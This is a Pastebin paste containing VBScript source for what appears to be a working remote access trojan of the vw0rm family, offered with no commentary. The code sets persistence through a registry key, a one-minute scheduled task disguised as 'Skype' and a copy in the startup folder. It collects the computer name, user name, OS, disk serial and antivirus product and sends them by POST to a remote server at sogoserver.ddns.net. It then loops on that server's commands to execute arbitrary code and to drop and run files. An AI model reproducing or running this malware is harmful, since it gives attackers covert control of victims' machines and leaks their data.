Advertisement
Guest User

Untitled

a guest
Mar 1st, 2017
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.78 KB | None | 0 0
  1. On erRor resume Next
  2.  
  3. j = array("WScript.shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP")
  4. g = Array("HKCU","HKLM","HKCU\vw0rm","\Software\Microsoft\Windows\CurrentVersion\Run\","HKLM\SOFTWARE\Classes\","REG_SZ","\defaulticon\")
  5. y= Array("winmgmts:","Win32_logicaldisk","Win32_OperatingSystem","winmgmts:\\Localhost\root\securitycenter","AntiVirusProduct")
  6.  
  7. Function go(m)
  8. if m=4 then
  9. T="winmgmts:\\Localhost\root\securitycenter"
  10. Set B=GetObject(y(3)).InstancesOf(y(4))
  11. for each a in b
  12. go=a.displayName
  13. exit for
  14. next
  15. Set B=GetObject(y(3) & "2").InstancesOf(y(4))
  16. for each a in b
  17. go=a.displayName
  18. exit for
  19. next
  20. if go="" then go="not-Found"
  21. else
  22. Set B=GetObject(y(0)).InstancesOf(y(m))
  23. for each a in b
  24. if m = 1 then
  25. go=a.volumeserialnumber
  26. elseif m = 2 then
  27. go=a.caption
  28. end if
  29. exit for
  30. next
  31. end if
  32. end function
  33.  
  34. set w = WScript
  35. set sh = Cr(0)
  36. set fs = Cr(1)
  37.  
  38. Function Cr(N)
  39. Set Cr = CreateObject(j(N))
  40. End Function
  41.  
  42. Function Ex(s)
  43. Ex = sh.ExpandEnvironmentStrings("%"&s&"%")
  44. End Function
  45.  
  46. Function Pt(C,A)
  47. Pt=""
  48. Set X=Cr(3)
  49. X.Open "POST","http://sogoserver.ddns.net:2222/"&C,false
  50. X.setrequestheader "User-Agent:",nf
  51. X.send A
  52. Pt=X.responsetext
  53. end function
  54.  
  55. Function nf
  56. nf=""
  57. i=go(1)
  58. s=VN & "_" & i
  59. nf=nf&s&c
  60. s=ex("COMPUTERNAME")
  61. nf=nf&s&c
  62. s=ex("uSERNAME")
  63. nf=nf&s&c
  64. s=go(2)
  65. nf=nf&s&c
  66. s=go(4)
  67. nf=nf&s&c&c&nt&c&u&c
  68. End Function
  69.  
  70. Sub Ns
  71. On Error Resume Next
  72.  
  73. sh.run "schtasks /create /sc minute /mo 1 /tn Skype /tr " & ChrW(34) & fu,false
  74.  
  75. fs.Copyfile fu, Cr(2).NameSpace(&H7).Self.Path &C & wn ,true
  76. end Sub
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83.  
  84. vn="smsc"
  85. U=""
  86.  
  87. ch = chrw(34)
  88. c = chrw(92)
  89. fu = w.scriptfullname
  90. wn=w.scriptname
  91. NT="No"
  92. if fs.fileexists(ex("Windir") & "\Microsoft.NET\Framework\v2.0.50727\vbc.exe") then
  93. NT="Yes"
  94. end if
  95.  
  96. U= sh.regread(g(2))
  97. if U="" then
  98. if mid(fu,2)=":\" & wn then
  99. U="TRUE"
  100. sh.regwrite g(2), U, g(5)
  101. else
  102. U="FALSE"
  103. sh.regwrite g(2), U, g(5)
  104. end if
  105. end if
  106.  
  107. Ns
  108. spl="|V|"
  109. while true
  110. s=split(Pt("Vre",""),spl)
  111. select case s(0)
  112. case "exc"
  113. sa= s(1)
  114. execute sa
  115. case "Sc"
  116. s2 = Ex("Temp") & "\" & s(2)
  117. set wr = fs.OpenTextFile(s2,2,True)
  118. wr.Write s(1)
  119. wr.Close()
  120. sh.run s2, 6
  121. case "RF"
  122. s2 = Ex("Temp") & "\" & s(2)
  123. set wr = fs.OpenTextFile(s2,2,True)
  124. wr.Write s(1)
  125. wr.Close()
  126. sh.run s2
  127. case "Ren"
  128. set wr = fs.OpenTextFile(fu,1)
  129. f = wr.ReadAll
  130. wr.close()
  131. f = replace(f,ch&vn&ch,ch&s(1)&ch)
  132. set wr = fs.OpenTextFile(fu,2,false)
  133. wr.Write f
  134. wr.close()
  135. case "Up"
  136. set wr = fs.OpenTextFile(fu,2,false)
  137. s(1) = replace(s(1),"|U|","|V|")
  138. wr.Write s(1)
  139. wr.Close()
  140. sh.run "wscript.exe //B " & ch & fu & ch, 6
  141. w.quit
  142. case "Cl"
  143. W.quit
  144. case "Un"
  145. S(1) = replace(S(1),"%f",fu)
  146. S(1) = replace(S(1),"%n",wn)
  147. S(1) = replace(S(1),"%sfdr",dr)
  148. Execute S(1)
  149. w.quit
  150. end select
  151. W.Sleep 5600
  152.  
  153. wend
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement